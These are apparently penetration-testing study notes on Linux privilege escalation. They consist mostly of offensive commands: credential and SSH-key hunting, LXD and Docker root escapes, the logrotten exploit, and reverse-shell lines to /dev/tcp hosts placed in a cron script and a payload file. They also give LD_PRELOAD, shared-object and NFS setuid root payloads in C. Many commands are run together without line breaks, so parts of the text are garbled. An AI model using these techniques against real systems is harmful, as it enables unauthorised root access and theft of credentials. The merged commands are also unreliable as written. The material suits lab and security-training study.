23 - Linux Privilege Escalation

Basic commands to get our bearings: whoami, id, hostname, ifconfig/ip a, and especially sudo -l (sometimes sudo su is the fastest route).

Information Gathering

System Enumeration

bash
$ cat /etc/os-release        # distribuciónuname -a                   # kernel$ echo $PATH                 # posibles problemas de PATHenv                        # credenciales en variableslsblk; df -h; cat /etc/fstab   # discos y montajes$ cat /etc/passwd /etc/group     # usuarios y grupos$ find / -type f -name ".*" 2>/dev/null   # ficheros ocultos
Review /home/<usuario> (.bash_history, SSH keys in .ssh), temporary directories (/tmp, /var/tmp, /dev/shm), cron jobs (ls -la /etc/cron.*), /proc (find /proc -name cmdline -exec cat {} \;), packages (apt list --installed, sudo -V), and processes running as root (ps aux | grep root).

Searching for Credentials

terminal
$ cat wp-config.php | grep 'DB_USER\|DB_PASSWORD'$ find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null
Other users' private SSH keys; review ~/.ssh/known_hosts.

Environment-Based

SUID and SGID Permissions

terminal
$ find / -perm -4000 -type f 2>/dev/null   # SUID$ find / -perm -2000 -type f 2>/dev/null   # SGID

Sudo -l

terminal
sudo -l

Privileged Groups

LXC / LXD

terminal
lxc init alpine r00t -c security.privileged=truelxc config device add r00t mydev disk source=/ path=/mnt/root recursive=truelxc start r00tlxc exec r00t /bin/sh

Docker

terminal
$ docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash

Disk and adm

They provide direct access to disks (/dev/sda1) and logs in /var/log/.

Capabilities

terminal
getcap -r / 2>/dev/null# p.ej. /usr/bin/vim.basic = cap_dac_override+eip  -> leer root/flag.txt con vim

Service-Based

Cron Jobs

Paths: /etc/crontab, /etc/cron.d/, /var/spool/cron/. Use pspy to monitor processes. Real-world case: /dmz-backups/backup.sh with 777 permissions executed every 3 minutes by cron → add bash -i >& /dev/tcp/10.10.14.3/443 0>&1.

Logrotate

Vulnerable if you have write access to a log that will be rotated, the script runs as root, and the version is vulnerable (3.8.6, 3.11.0, 3.15.0, 3.18.0):
terminal
$ git clone https://github.com/whotwagner/logrotten.git$ cd logrotten && gcc logrotten.c -o logrotten$ echo 'bash -i >& /dev/tcp/TU_IP/PUERTO 0>&1' > payload$ ./logrotten -p ./payload /tmp/archivo.log

NFS (no_root_squash)

bash
showmount -e <ip>; cat /etc/exports# Si hay no_root_squash: montar, subir binario setuid y ejecutarlosudo mount -t nfs 10.129.X.X:/tmp /mntgcc shell.c -o shell   # setuid(0);setgid(0);system("/bin/bash")$ cp shell /mnt && chmod u+s /mnt/shell

TMUX Session Hijacking

terminal
ps aux | grep tmuxtmux -S /shareds

Internal Systems-Based

LD_PRELOAD

If sudo -l shows env_keep+=LD_PRELOAD and you can run something with sudo:
c
void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); }
terminal
gcc -fPIC -shared -o /tmp/root.so root.c -nostartfilessudo LD_PRELOAD=/tmp/root.so /usr/bin/openssl

Shared Object Hijacking

SETUID binary with a writable RUNPATH (ldd/readelf). Replace the library with one that defines the expected function (dbquery()):
c
void dbquery() { setuid(0); system("/bin/sh -p"); }
terminal
gcc src.c -fPIC -shared -o /development/libshared.so

Python Library Hijacking

If a SUID script imports a module with write permissions, or you can create psutil.py in a higher-priority directory in sys.path, or use PYTHONPATH:
terminal
sudo PYTHONPATH=/tmp/ /usr/bin/python3 mem_status.py

Recent 0-days

  • Sudo: CVE-2021-3156 (Baron Samedit), CVE-2019-14287 (sudo < 1.8.28).
  • Polkit (PwnKit).
  • Dirty Pipe: kernel 5.8–5.17 (uname -r). Exploit 2: find / -perm -4000 2>/dev/null and ./exploit-2 /usr/bin/sudo.
  • Netfilter: CVE-2021-22555 (kernel 2.6–5.11).

Others

terminal
ss -lntp                       # puertos internos$ cat /etc/nginx/sites-enabled   # subdominios

In This Module

Linux Privilege Escalation Tips